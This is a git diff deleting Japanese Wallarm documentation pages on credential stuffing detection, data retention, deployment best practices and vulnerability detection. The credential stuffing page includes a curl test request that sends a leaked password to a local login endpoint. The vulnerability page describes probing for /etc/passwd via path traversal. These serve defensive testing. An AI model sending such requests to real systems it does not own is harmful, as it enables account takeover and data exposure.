-Wallarmの**クレデンシャルスタッフィング検知**は、侵害済みまたは弱いクレデンシャルを使用してアプリケーションへアクセスしようとする試行に関するリアルタイム情報を収集・表示し、そのような試行について即時通知を有効化します。また、アプリケーションへのアクセスに使用された侵害済みまたは弱いクレデンシャルの一覧をダウンロード可能な形で作成します。 - -![Wallarm Console - Credential Stuffing](../images/about-wallarm-waf/credential-stuffing/credential-stuffing.png) - -侵害済みおよび弱いパスワードを特定するために、Wallarmは、公開された[HIBP](https://haveibeenpwned.com/)の侵害クレデンシャルデータベースから収集した**8億5,000万件以上**の包括的なデータベースを使用します。 - -[詳細な説明と設定に進む→](credential-stuffing.md) - -## GraphQL API保護 - -Wallarmは、基本の[WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションプランであっても、GraphQL内の通常の攻撃（SQLi、RCE、[など](../attacks-vulns-list.md)）をデフォルトで検知します。ただし、プロトコルのいくつかの側面により、過度な情報露出やDoSに関連する[GraphQL特有](../attacks-vulns-list.md#graphql-attacks)の攻撃が成立し得ます。 - -Wallarmは、**GraphQLポリシー**を設定することでこれらの攻撃からAPIを保護します - GraphQLリクエストに対する制限の集合です。 - -![GraphQLの閾値](../images/user-guides/rules/graphql-rule.png) - -[詳細な説明と設定に進む→](../api-protection/graphql-rule.md) \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/credential-stuffing.md b/docs/latest-ja/about-wallarm/credential-stuffing.md deleted file mode 100644 index ea546e811f..0000000000 --- a/docs/latest-ja/about-wallarm/credential-stuffing.md +++ /dev/null @@ -1,155 +0,0 @@ -# クレデンシャルスタッフィング検知 - -[クレデンシャルスタッフィング](../attacks-vulns-list.md#credential-stuffing)は、攻撃者が漏えいしたユーザー認証情報のリストを用いて、複数のWebサイト上のユーザーアカウントへ不正アクセスするサイバー攻撃です。この記事では、Wallarmの**Credential Stuffing Detection**を使用してこの種の脅威を検知する方法について説明します。 - -
      - -
      - -
      -
      - -クレデンシャルスタッフィング攻撃は、複数のサービスで同一のユーザー名とパスワードを使い回す慣行が広く存在し、さらに推測されやすい（弱い）パスワードを選びがちであることから、特に危険です。成功に必要な試行回数が少ないため、攻撃者はリクエストの送信頻度を大幅に下げられ、このためブルートフォース防御のような標準的な対策が効果を発揮しにくくなります。 - -## Wallarmによるクレデンシャルスタッフィングへの対処 - -Wallarmの**Credential Stuffing Detection**は、漏えいまたは弱い認証情報を使ってお客様のアプリケーションへアクセスしようとする試行に関するリアルタイム情報を収集・表示します。また、これらの試行に関する即時通知を有効化できるほか、お客様のアプリケーションへのアクセスに使用されたすべての漏えいまたは弱い認証情報のダウンロード可能な一覧を作成します。 - -漏えいおよび弱いパスワードの特定には、公開されている[HIBP](https://haveibeenpwned.com/)の漏えい認証情報データベースから収集した、**8億5,000万件以上**の包括的データベースを使用します。 - -![クレデンシャルスタッフィング - スキーマ](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-schema.png) - -WallarmのCredential Stuffing Detectionは、以下の手順により認証情報データの安全性を保ちます。 - -1. リクエストがノードに到達すると、パスワードから[SHA-1](https://en.wikipedia.org/wiki/SHA-1)を生成し、そのうちの数文字をCloudに送信します。 -1. Cloudは既知の漏えいパスワードのデータベースを、受信した文字列で始まるものがないか確認します。該当があれば、SHA-1で暗号化された形式でノードに送信され、ノードはそれらをリクエストのパスワードと照合します。 -1. 一致した場合、ノードはCloudにクレデンシャルスタッフィング攻撃として報告し、リクエストから取得したログインを攻撃情報に含めます。 -1. ノードはリクエストをアプリケーションに転送します。 - -したがって、Wallarmノードを搭載したマシンからWallarm Cloudへパスワードが暗号化されない状態で送信されることはありません。認証情報は同時に送信されないため、お客様のネットワーク内でクライアントの認可データが安全に保たれます。 - -**大量試行と単発試行** - -Credential Stuffing Detectionは、ボットによる大量の漏えい認証情報使用試行と、他の手段では検知できない単発の試行の両方を記録できます。 - -**緩和策** - -盗まれた、または弱いパスワードを持つアカウントを把握することで、アカウント所有者への連絡や一時的なアクセス停止など、これらのアカウントのデータを保護するための措置を開始できます。 - -パスワードが弱い、または漏えいしている場合でも正当なユーザーを誤ってブロックしないよう、Wallarmは漏えい認証情報を含むリクエストをブロックしません。ただし、次の場合にはクレデンシャルスタッフィングの試行をブロックできる点にご注意ください。 - -* 悪意のあるボット活動として検出された一連の行為に含まれており、[API Abuse Prevention](../api-abuse-prevention/overview.md)モジュールを有効にしている場合。 -* 他の[攻撃兆候](../attacks-vulns-list.md)を伴うリクエストの一部である場合。 - -## 有効化 - -Wallarmの**Credential Stuffing Detection**を有効にするには、次の手順に従います。 - -1. ご利用の[サブスクリプションプラン](../about-wallarm/subscription-plans.md#core-subscription-plans)に**Credential Stuffing Detection**が含まれていることを確認します。サブスクリプションプランを変更するには、[sales@wallarm.com](mailto:sales@wallarm.com?subject=Change%20Wallarm%20subscription%20plan%20to%20include%20Credential%20Stuffing%20Detection&body=Hello%20Wallarm%20Sales%20Team%2C%0AI%27m%20writing%20to%20request%20the%20change%20of%20Wallarm%20subscription%20plan%20to%20the%20one%20that%20includes%20the%20Credential%20Stuffing%20Detection.%0AThank%20you%20for%20your%20time%20and%20assistance.)にリクエストを送信します。 -1. Wallarmノードが[バージョン4.10](../updating-migrating/what-is-new.md)以上であり、以下のいずれかのアーティファクトでデプロイされていることを確認します。 - * [オールインワンインストーラー](../installation/nginx/all-in-one.md) - * [NGINXベースのIngressコントローラー向けHelmチャート](../admin-en/installation-kubernetes-en.md) - * [NGINXベースのDockerイメージ](../admin-en/installation-docker-en.md) - * [Amazon Machine Image (AMI)](../installation/cloud-platforms/aws/ami.md) - * [Google Cloud Machine Image](../installation/cloud-platforms/gcp/machine-image.md) -1. ご利用のユーザー[ロール](../user-guides/settings/users.md#user-roles)に**Credential Stuffing Detection**の設定権限があることを確認します。 -1. Wallarm Console → **Credential Stuffing**で、この機能を有効にします（初期状態では無効です）。 - -**Credential Stuffing Detection**を有効化したら、動作を開始するために[設定](#configuring)が必要です。 - -## Configuring - -漏えいした認証情報の使用試行を検査する対象となる認証エンドポイントの一覧を作成する必要があります。一覧を作成するには、Wallarm Console → **Credential Stuffing**に移動します。 - -![Wallarm Console - Credential Stuffing](../images/about-wallarm-waf/credential-stuffing/credential-stuffing.png) - -エンドポイントを一覧に追加する方法は2通りあります。 - -* **Recommended endpoints**一覧から追加する方法です。この一覧には次の2種類の要素が含まれます。 - * 一般的に使用される認証エンドポイントと、その中でパスワードとログインを格納するパラメータを指定するための正規表現を用いた、Wallarmの事前定義ルール。 - - * [API Discovery](../api-discovery/overview.md)モジュールによって検出され、実際にトラフィックを受信したと記録された認証に使用されるエンドポイント。 -* 手動で追加する方法です。独自の認証エンドポイントを含めることで、すべてを網羅して保護できます。手動で追加する場合は、[URI](../user-guides/rules/rules.md#uri-constructor)と、認証パラメータの検索方法を設定します。 - * By **Exact location of parameters** - パスワードとログインが存在する正確なエンドポイントの[リクエストポイント](../user-guides/rules/rules.md#configuring)を指定します。 - - * By **Regular expression** - パスワードとログインを含むエンドポイントのパラメータを[正規表現](../user-guides/rules/rules.md#condition-type-regex)で検索します。 - - ![Credential Stuffing - Add authentication endpoint - Regular expression](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-add-endpoint-regexp.png) - -## 漏えい認証情報の使用試行の表示 - -過去7日間における漏えい認証情報の使用試行の回数は、**Credential Stuffing**セクションに表示されます。カウンターをクリックすると、**Attacks**セクションに移動し、過去7日間のすべての[`credential_stuffing`](../user-guides/search-and-filters/use-search.md#search-by-attack-type)攻撃が表示されます。 - -いずれかの攻撃を展開すると、パスワードが漏えいしているログインの一覧を確認できます。 - -![Attacks - クレデンシャルスタッフィング](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-attacks.png) - -## 漏えい認証情報のCSVリストの取得 - -漏えい認証情報の総数は**Credential Stuffing**セクションに表示されます。カウンターをクリックすると、ブラウザーが漏えい認証情報の一覧を含むCSVファイルをダウンロードします。 - -## 通知の受信 - -漏えい認証情報の使用試行に関する即時通知を、メール、メッセンジャー、または[統合済みシステム](../user-guides/settings/integrations/integrations-intro.md)のいずれかで受け取れます。このような通知を有効にするには、Wallarm Consoleの**Triggers**セクションで、条件**Compromised user account**を使用するトリガーを1つ以上構成します。 - -監視対象のアプリケーションやホスト、応答タイプで通知を絞り込むこともできます。 - -**トリガー例: Slackでの漏えい認証情報使用試行の通知** - -この例では、漏えい認証情報の新たな使用試行が検出された場合、設定済みのSlackチャンネルに通知が送信されます。 - -![クレデンシャルスタッフィングのトリガー](../images/user-guides/triggers/trigger-example-credentials-stuffing.png) - -**トリガーをテストするには:** - -1. Wallarm Console → **Integrations**で、[US](https://us1.my.wallarm.com/integrations/)または[EU](https://my.wallarm.com/integrations/)クラウドにアクセスし、[Slackとの連携を設定](../user-guides/settings/integrations/slack.md)します。 -1. **Credential Stuffing**セクションで、Credential Stuffingが有効になっていること、また、以下のWallarmの事前定義ルールが**Recommended endpoints**から有効な**Authentication endpoints**に追加されていることを確認します。 - - Request is: - - ``` - /**/{{login|auth}}.* - ``` - - Password is located here: - - ``` - ([^/](|((api|current|new|old|plain)(|\.|-|_)))(pass(|word|wd))|^pass(|wd|word))$ - ``` - - Login is located here: - - ``` - ^((w+.)|_|.|)(login|user|auth)(|_|-.)(user|client|auth|id|name|)(|[\d])$ - ``` - -1. **Triggers**セクションで、上記のとおりトリガーを作成し、ご自身のSlack連携にマッピングします。 -1. 漏えい認証情報を含むリクエストをノードの`localhost/login`エンドポイントに送信します。 - ``` - curl -X POST http://localhost/login -d '{"password": "123456", "user": "user-01@company.com"}' - ``` -1. **Attacks**セクションで、リクエストが`credential_stuffing`タイプのイベント（漏えい認証情報の使用試行）として登録されていることを確認します。 -1. 攻撃を展開し、漏えいしたログイン情報が含まれていることを確認します。 -1. Slackチャンネルのメッセージを確認します。新しいメッセージは次のようになります: - ``` - [wallarm] Stolen credentials detected - - Notification type: compromised_logins - - Stolen credentials have been detected in your incoming traffic: - - Compromised accounts: user-01@company.com - Associated URL: localhost/login - Link: https://my.wallarm.com/attacks/?q=attacks+d%3Alocalhost+u%3A%2Flogin+statuscode%3A404+application%3Adefault+credential_stuffing+2024%2F01%2F22 - - Client: YourCompany - Cloud: EU - ``` - -## 制限事項 - -現在、AWS向け[Terraformモジュール](../installation/cloud-platforms/aws/terraform-module/overview.md)でデプロイされたWallarmノードでは、Credential Stuffing Detectionモジュールはサポートされていません。 \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/data-retention-policy.md b/docs/latest-ja/about-wallarm/data-retention-policy.md deleted file mode 100644 index 343f508e3a..0000000000 --- a/docs/latest-ja/about-wallarm/data-retention-policy.md +++ /dev/null @@ -1,15 +0,0 @@ -# データ保持ポリシー - -本ポリシーは、Wallarmが収集しWallarm Cloudに保存する各種データセットの保持期間を定めます。 - -| データセット | 有料サブスクリプション | 無料プラン | -|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------|------------------| -| フィルタリングノードによって検出された攻撃、hits、インシデントに関するデータ | 6か月 | 3か月 | -| 正当および悪意のあるリクエストが属する[ユーザーセッション](../api-sessions/overview.md)に関するデータ | 1週間 | 1週間 | -| フィルタリングノードまたは**Threat Replay Testing**モジュールによって検出された脆弱性に関するデータ | 6か月 | 3か月 | -| [Vulnerability Scanner](../api-attack-surface/api-surface.md#replacement-of-old-scanner)によって検出された脆弱性に関するデータ | 6か月 | 3か月 | -| [Threat Prevention dashboard](../user-guides/dashboards/threat-prevention.md)に表示される処理済みおよびブロックされたリクエストに関する統計 | 6か月 | 3か月 | -| [allowlisted, denylisted, and graylisted IP addresses](../user-guides/ip-lists/overview.md)の履歴 | 3か月 | 3か月 | -| Wallarmノードがトラフィックを処理するために自動生成または手動で作成された[rules](../user-guides/rules/rules.md) | ∞ | ∞ | -| Wallarmアカウント構成: [users](../user-guides/settings/users.md), [applications](../user-guides/settings/applications.md), [integrations](../user-guides/settings/integrations/integrations-intro.md), [triggers](../user-guides/triggers/triggers.md) | ∞ | ∞ | -| [Audit log](../user-guides/settings/audit-log.md)の記録 | 6か月 | 3か月 | \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/deployment-best-practices.md b/docs/latest-ja/about-wallarm/deployment-best-practices.md deleted file mode 100644 index d504643d16..0000000000 --- a/docs/latest-ja/about-wallarm/deployment-best-practices.md +++ /dev/null @@ -1,145 +0,0 @@ -# Wallarmソリューションのデプロイおよび運用のベストプラクティス - -本記事では、Wallarmソリューションのデプロイおよび運用に関するベストプラクティスを示します。 - -## NGINXの強みを理解します - -多くのWallarmフィルタリングノードのデプロイオプションは、リバースプロキシサーバー（Wallarmモジュールの基盤）としてNGINXを使用しており、豊富な機能、モジュール、パフォーマンス/セキュリティガイドを提供します。以下は有用なインターネット記事のコレクションです。 - -* [Awesome NGINX](https://github.com/agile6v/awesome-nginx) -* [NGINX: Basics and Best Practices スライドショー](https://www.slideshare.net/Nginx/nginx-basics-and-best-practices-103340015) -* [NGINX構成を最適化する方法](https://www.digitalocean.com/community/tutorials/how-to-optimize-nginx-configuration) -* [NGINXサーバーのパフォーマンスを最適化する3つの迅速なステップ](https://www.techrepublic.com/article/3-quick-steps-to-optimize-the-performance-of-your-nginx-server/) -* [15ステップで堅牢なNGINXサーバーを構築する方法](https://www.upguard.com/blog/how-to-build-a-tough-nginx-server-in-15-steps) -* [NGINX Webサーバーのチューニングとパフォーマンス最適化の方法](https://hostadvice.com/how-to/how-to-tune-and-optimize-performance-of-nginx-web-server/) -* [NGINXサーバーを強化しパフォーマンスを改善する強力な方法](https://www.freecodecamp.org/news/powerful-ways-to-supercharge-your-nginx-server-and-improve-its-performance-a8afdbfde64d/) -* [TLSデプロイメントのベストプラクティス](https://www.linode.com/docs/guides/tls-deployment-best-practices-for-nginx/) -* [NGINX Webサーバーのセキュリティとハードニングガイド](https://geekflare.com/nginx-webserver-security-hardening-guide/) -* [最高のパフォーマンスのためのNGINXチューニング](https://github.com/denji/nginx-tuning) -* [NGINX Webサーバーのセキュリティベストプラクティス25選](https://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html) - -## 推奨されるオンボーディング手順に従います - -1. 次のWallarmノードのデプロイオプションについて学びます。 - - * [Security Edge](../installation/security-edge/overview.md) - * [セルフホステッドデプロイ](../installation/supported-deployment-options.md) - * [コネクタデプロイ](../installation/connectors/overview.md) -2. 必要に応じて、環境ごとに[Wallarmノード構成を個別に管理するオプション](../installation/multi-tenant/overview.md#issues-addressed-by-multitenancy)について学びます。 -3. 本番以外の環境にWallarmフィルタリングノードをデプロイし、[運用モード](../admin-en/configure-wallarm-mode.md)を`monitoring`に設定します。 -4. Wallarmソリューションの運用、スケール、監視方法を学び、新しいネットワークコンポーネントの安定性を確認します。 -5. 本番環境にWallarmフィルタリングノードをデプロイし、[運用モード](../admin-en/configure-wallarm-mode.md)を`monitoring`に設定します。 -6. 新しいWallarmコンポーネントに対して適切な構成管理と[監視プロセス](#enable-proper-monitoring-of-the-filtering-nodes)を実装します。 -7. すべての環境（テストと本番を含む）でフィルタリングノード経由のトラフィックを7‑14日間維持し、Wallarmのクラウドベースのバックエンドがアプリケーションを学習する時間を確保します。 -8. すべての本番以外の環境でWallarmの`block`[モード](../admin-en/configure-wallarm-mode.md)を有効化し、自動または手動テストで保護対象アプリケーションが期待どおり動作することを確認します。 -9. 本番環境でWallarmの`block`[モード](../admin-en/configure-wallarm-mode.md)を有効化し、利用可能な方法でアプリケーションが期待どおり動作することを確認します。 - -## フィルタリングノードは本番環境だけでなくテストやステージングにもデプロイします - -多くのWallarmのサービス契約では、顧客がデプロイするWallarmノード数に制限がありません。そのため、開発、テスト、ステージングなど、すべての環境にフィルタリングノードをデプロイしない理由はありません。 - -ソフトウェア開発やサービス運用の全段階でフィルタリングノードをデプロイ・使用することで、データフロー全体を適切にテストし、重要な本番環境での予期せぬ事象のリスクを最小化できます。 - -## libdetectionライブラリを有効化します - -[**libdetection**ライブラリ](protecting-against-attacks.md#library-libdetection)でリクエストを分析すると、フィルタリングノードのSQLi攻撃検知能力が大幅に向上します。すべてのWallarmのお客様に、フィルタリングノードソフトウェアを最新バージョンに[アップグレード](/updating-migrating/general-recommendations/)し、**libdetection**ライブラリを有効のままにすることを強く推奨します。 - -* フィルタリングノードのバージョン4.4以上では**libdetection**はデフォルトで有効です。 -* それ未満のバージョンでは、デプロイオプションに応じた[方法](protecting-against-attacks.md#managing-libdetection-mode)で有効化することを推奨します。 - -## エンドユーザーIPアドレスの適切なレポート設定を行います - -ロードバランサやCDNの背後にあるWallarmフィルタリングノードでは、エンドユーザーIPアドレスを正しく報告するようにフィルタリングノードを設定してください（そうしないと、[IP list機能](../user-guides/ip-lists/overview.md)、[Threat Replay Testing](detecting-vulnerabilities.md#threat-replay-testing)など一部機能が動作しません）。 - -* [NGINXベースのWallarmノード向け手順](../admin-en/using-proxy-or-balancer-en.md)（AWS/GCPイメージおよびDockerノードコンテナを含みます） -* [Wallarm Kubernetes Ingress controllerとしてデプロイしたフィルタリングノード向け手順](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## フィルタリングノードの適切な監視を有効化します - -Wallarmフィルタリングノードの適切な監視を有効化することを強く推奨します。 - -フィルタリングノードの監視設定方法は、デプロイオプションによって異なります。 - -* [Wallarm Kubernetes Ingress controllerとしてデプロイしたフィルタリングノード向け手順](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) -* [NGINXベースのDockerイメージ向け手順](../admin-en/installation-docker-en.md#monitoring-configuration) - -## 適切な冗長化と自動フェイルオーバー機能を実装します - -本番環境の他の重要コンポーネントと同様に、Wallarmノードは適切な冗長性と自動フェイルオーバーを備えるよう設計・デプロイ・運用する必要があります。重要なエンドユーザーリクエストを処理する**少なくとも2台の稼働中のWallarmフィルタリングノード**を用意してください。以下の記事が参考になります。 - -* [NGINXベースのWallarmノード向け手順](../admin-en/configure-backup-en.md)（AWS/GCPイメージ、Dockerノードコンテナ、Kubernetesサイドカーを含みます） -* [Wallarm Kubernetes Ingress controllerとしてデプロイしたフィルタリングノード向け手順](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md) - -## IPアドレスのallowlist、denylist、graylistの使い方を理解します - -個々の悪意あるリクエストのブロックに加え、Wallarmフィルタリングノードは個々のエンドユーザーIPアドレスもブロックできます。IPのブロックはallowlist、denylist、graylistで設定します。 - -[IP listsの使用方法の詳細 →](../user-guides/ip-lists/overview.md) - -## Wallarm構成変更の段階的ロールアウト方法を理解します - -* すべてのフォームファクタのWallarmフィルタリングノードにおける低レベルの構成変更には、標準的なDevOpsの変更管理と段階的ロールアウトのポリシーを使用します。 -* トラフィックフィルタリングルールには、アプリケーション[IDs](../admin-en/configure-parameters-en.md#wallarm_application)や`Host`リクエストヘッダーを使い分けます。 -* [Create regexp-based attack indicator](../user-guides/rules/regex-rule.md#creating-and-applying-rule)ルールは、特定のアプリケーションIDに関連付けられる能力に加え、Wallarmノードがブロッキングモードで動作している場合でも、監視モード（**Experimental**チェックボックス）で有効化できます。 -* [Set filtration mode](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode)ルールは、NGINX構成の[`wallarm_mode`](../admin-en/configure-parameters-en.md#wallarm_mode)設定と同様に、Wallarm ConsoleからWallarmノードの運用モード（`monitoring`、`safe_blocking`、`block`）を制御できるようにします（[`wallarm_mode_allow_override`](../admin-en/configure-parameters-en.md#wallarm_mode_allow_override)の設定に依存します）。 - -## システムからの通知を受け取るために連携を設定します - -WallarmはSlack、Telegram、PagerDuty、Opsgenieなどのシステムと便利な[ネイティブ連携](../user-guides/settings/integrations/integrations-intro.md)を提供しており、プラットフォームが生成するさまざまなセキュリティ通知を迅速に受け取れます。例えば次のような通知です。 - -* 新たに発見されたセキュリティ脆弱性 -* 会社のネットワーク境界の変更 -* Wallarm Console経由で会社アカウントに新規追加されたユーザー、など - -また、[Triggers](../user-guides/triggers/triggers.md)機能を使用して、システム内で発生するさまざまなイベントに関するカスタムアラートを設定できます。 - -## Triggers機能を活用します - -環境に応じて、次の[triggers](../user-guides/triggers/triggers.md)を設定することを推奨します。 - -* Wallarmノードが検知する悪意のあるリクエストの増加を監視します。このtriggerは次のいずれかの可能性を示します。 - - * 受攻中であり、Wallarmノードが悪意のあるリクエストを正常にブロックしています。検知された攻撃を確認し、報告された攻撃者のIPアドレスを手動でdenylist（block）することを検討します。 - * Wallarmノードが検知するfalse positivesが増加しています。これを[Wallarmテクニカルサポートチーム](mailto:support@wallarm.com)へエスカレーションするか、手動で[リクエストをfalse positivesとしてマーク](../user-guides/events/check-attack.md#false-positives)することを検討します。 - * [denylisting trigger](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour)が有効にもかかわらず、依然として攻撃増加のアラートを受け取る場合、triggerが期待どおり動作していない可能性を示します。 - - [設定済みtriggerの例を見る →](../user-guides/triggers/trigger-examples.md#slack-notification-if-2-or-more-sqli-hits-are-detected-in-one-minute) -* Wallarm Consoleで会社アカウントに新しいユーザーが追加されたことを通知します - - [設定済みtriggerの例を見る →](../user-guides/triggers/trigger-examples.md#slack-and-email-notification-if-new-user-is-added-to-the-account) -* リクエストをブルートフォースまたは強制ブラウジング攻撃としてマークし、発信元のIPアドレスをブロックします - - [ブルートフォース保護の設定方法 →](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* 新しいIPアドレスがブロックされたことを通知します - - [設定済みtriggerの例を見る →](../user-guides/triggers/trigger-examples.md#notification-to-webhook-url-if-ip-address-is-added-to-the-denylist) -* [safe blocking](../admin-en/configure-wallarm-mode.md)モードで使用される[graylist](../user-guides/ip-lists/overview.md)にIPアドレスを自動的に追加します。 - -トラフィック処理と攻撃のアップロードを最適化するため、Wallarmは一部の[triggersをあらかじめ構成](../user-guides/triggers/triggers.md#pre-configured-triggers-default-triggers)します。 - -## Wallarm ConsoleのアカウントにSAML SSOを有効化します - -G Suite、Okta、OneLoginなどのSAML SSOプロバイダを使用して、Wallarm Consoleアカウントのユーザー認証を集中化できます。 - -アカウントでSAML SSOを有効化するには、Wallarmのアカウントマネージャーまたはテクニカルサポートチームに連絡し、その後[この手順](../admin-en/configuration-guides/sso/intro.md)に従ってSAML SSOの構成を実施します。 - -## Wallarm Cloudの構成管理にWallarm Terraform providerを使用します - -[Wallarmの公式Terraform provider](../admin-en/managing/terraform-provider.md)により、最新のIaC（Infrastructure as Code）アプローチでWallarm Cloudの構成（ユーザー、アプリケーション、ルール、連携など）を管理できます。 - -## 新しいWallarmノードバージョンへ迅速に更新する計画を用意します - -Wallarmはフィルタリングノードソフトウェアの改善を継続的に行っており、おおむね四半期に一度の頻度で新リリースを提供します。推奨されるアップグレード手順、リスク、関連する移行手順については[このドキュメント](../updating-migrating/general-recommendations.md)を参照します。 - -## 既知の注意点を理解します - -* 同一のWallarmアカウントに接続されたすべてのWallarmノードは、トラフィックフィルタリングのための既定およびカスタムルールの同一セットを受け取ります。適切なアプリケーションIDやヘッダー、クエリ文字列パラメータなどの一意なHTTPリクエストパラメータを使用することで、アプリケーションごとに異なるルールを適用できます。 -* IPアドレスを自動的にブロックするようにtriggerを構成している場合（[trigger例](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour)）、そのIPはWallarmアカウント内のすべてのアプリケーションに対してブロックされます。 - -## Threat Replay Testingのベストプラクティスに従います - -Wallarmが[脆弱性を検知](../about-wallarm/detecting-vulnerabilities.md)する手法の1つが**Threat Replay Testing**です。 - -**Threat Replay Testing**により、攻撃者をペネトレーションテスターに変え、アプリケーションやAPIの脆弱性を探る彼らの活動から潜在的なセキュリティ問題を発見できます。このモジュールは、トラフィック中の実際の攻撃データを用いてアプリケーションのエンドポイントをプロービングし、潜在的な脆弱性を見つけます。デフォルトではこの方法は無効です。 - -[**Threat Replay Testing**モジュールの設定に関するベストプラクティスを見る →](../vulnerability-detection/threat-replay-testing/setup.md) \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/detecting-vulnerabilities.md b/docs/latest-ja/about-wallarm/detecting-vulnerabilities.md deleted file mode 100644 index 717cdc6901..0000000000 --- a/docs/latest-ja/about-wallarm/detecting-vulnerabilities.md +++ /dev/null @@ -1,136 +0,0 @@ -# 脆弱性の検出 - -アプリケーションの構築や実装における不注意や情報不足により、攻撃に対して脆弱になることがあります。本記事では、Wallarmプラットフォームがアプリケーションの脆弱性をどのように検出し、システムのセキュリティ強化に役立てられるかを説明します。 - -## 脆弱性とは - -脆弱性とは、アプリケーションの構築または実装時の不注意や情報不足によって生じる誤りです。脆弱性は攻撃者に悪用され、アプリケーション内で権限境界を越える（すなわち、許可されていない操作を実行する）ことを可能にします。 - -## 脆弱性の検出方法 - -アクティブな脆弱性をスキャンする際、Wallarmは攻撃の兆候を含むリクエストを保護対象アプリケーションのアドレスに送信し、アプリケーションのレスポンスを解析します。レスポンスがあらかじめ定義された脆弱性の兆候の1つ以上に一致した場合、Wallarmはアクティブな脆弱性として記録します。 - -例えば、`/etc/passwd`の内容を読み取るために送信したリクエストへのレスポンスが`/etc/passwd`の内容を返した場合、保護対象アプリケーションはパストラバーサル攻撃に対して脆弱です。Wallarmは適切なタイプでこの脆弱性を記録します。 - -アプリケーションの脆弱性を検出するために、Wallarmは以下の方法を使用します: - -* **パッシブ検出**: リクエストとレスポンスを含む実トラフィックを解析して脆弱性を特定します。これは、実際の欠陥が悪用されるセキュリティインシデント中に発生することもあれば、直接の欠陥悪用がなくても、侵害されたJWTのように脆弱性の兆候を示すリクエストから判明することもあります。 -* **Threat Replay Testing**: 攻撃者をペネトレーションテスターに変えることで、アプリケーションやAPIの脆弱性を探る活動から生じる可能性のあるセキュリティ課題を発見します。このモジュールは、トラフィックからの実際の攻撃データを用いてアプリケーションのエンドポイントをプロービングし、潜在的な脆弱性を見つけます。既定ではこの方法は無効です。 -* **API Attack Surface Management (AASM)**: APIを持つ外部ホストを発見し、それぞれに対して未導入のWAF/WAAPソリューションや脆弱性を特定します。 -* **API Discoveryのインサイト**: [API Discovery](../api-discovery/overview.md)モジュールにより、GETリクエストのクエリパラメータでPIIの転送があったために脆弱性が発見されました。 - -### パッシブ検出 - -パッシブ検出は、リクエストとレスポンスを含む実トラフィックを解析して脆弱性を特定することを指します。悪意のあるリクエストが欠陥の悪用に成功し、インシデントと脆弱性の両方が検出されるセキュリティインシデントの最中に露見することがあります。また、直接の欠陥悪用がなくても、侵害されたJWTのような脆弱性の兆候を示すリクエストから判明する場合もあります。 - -パッシブな脆弱性検出は既定で有効です。 - -### Threat Replay Testing - -WallarmのThreat Replay Testingは、攻撃者をお客様自身のペネトレーションテスターへと変えます。初期の攻撃試行を分析し、同じ攻撃が悪用され得る他の方法をさらに探ります。これにより、元の攻撃者でさえ見つけられなかった環境の弱点が明らかになります。[詳細はこちら](../vulnerability-detection/threat-replay-testing/overview.md) - -Threat Replay Testingの機能: - -* **リアルタイムテスト**: ライブな攻撃データを用いて現在および将来起こり得る弱点を特定し、攻撃者より一歩先を行けます。 -* **安全でスマートなシミュレーション**: テストで機密な認証情報をスキップし、有害なコードを除去します。実際の被害を伴うことなく、最大限の安全性を確保して攻撃手法をシミュレートします。 -* **安全な非本番テスト**: 本番の実データを使用しつつも、システム過負荷やデータ露出などのリスクなしに、[ステージングや開発環境で脆弱性チェックを実行](../vulnerability-detection/threat-replay-testing/setup.md)できます。 - -### API Attack Surface Management (AASM) - -#### 動作概要 - -Wallarmの[API Attack Surface Management](../api-attack-surface/overview.md) (AASM)はAPIエコシステムに特化したエージェントレスの検出ソリューションで、APIを持つ外部ホストを発見し、未導入のWAF/WAAPソリューションを特定し、APIリークやその他の脆弱性を軽減します。 - -#### 設定 - -API Attack Surface Managementを有効化・設定し、選択したドメイン配下のホストを検出して、これらのホストに関連するセキュリティ問題を検索します。手順は[こちら](../api-attack-surface/setup.md)に記載しています。 - -検出されたホストに対して、Wallarmは自動で[脆弱性を検索](../api-attack-surface/security-issues.md)します。 - -#### 旧Scannerの置き換え - -2025年5月7日より、ホストおよびAPIの発見において、AASMはより高度で使いやすいツールとして[旧Scannerを置き換えました](../api-attack-surface/api-surface.md#replacement-of-old-scanner)。 - -### API Discoveryのインサイト - -[API Discovery](../api-discovery/overview.md)モジュールで特定されたエンドポイントが、GETリクエストのクエリパラメータで個人を特定できる情報(PII)を転送している場合（[CWE-598](https://cwe.mitre.org/data/definitions/598.html)参照）、Wallarmはこれらのエンドポイントに[情報露出](../attacks-vulns-list.md#information-exposure)の脆弱性があると認識します。 - -## 誤検知 - -**誤検知**は、正当なリクエストに攻撃の兆候が検出された場合、または正当な対象が脆弱性として判定された場合に発生します。[攻撃検出における誤検知の詳細 →](protecting-against-attacks.md#false-positives) - -脆弱性スキャンにおける誤検知は、保護対象アプリケーションの特性に起因して発生することがあります。似たリクエストに対する似たレスポンスでも、あるアプリケーションではアクティブな脆弱性を示す一方、別のアプリケーションでは想定どおりの挙動である場合があります。 - -脆弱性の誤検知が判明した場合は、Wallarm Consoleで当該脆弱性に誤検知のマークを付けることができます。誤検知としてマークされた脆弱性はクローズされ、再検証されません。 - -検出された脆弱性が保護対象アプリケーションに存在するものの修正できない場合は、[**Create a virtual patch**](../user-guides/rules/vpatch-rule.md)ルールの設定を推奨します。このルールにより、検出されたタイプの脆弱性を悪用する攻撃をブロックでき、インシデントのリスクを排除できます。 - -## 検出された脆弱性の管理 - -検出されたすべての脆弱性は、Wallarm Console → **Vulnerabilities**セクションに表示されます。インターフェースから次の操作ができます: - -* 脆弱性の表示と分析 -* 脆弱性のステータス検証の実行（アプリケーション側でまだアクティブか、修正済みか） -* 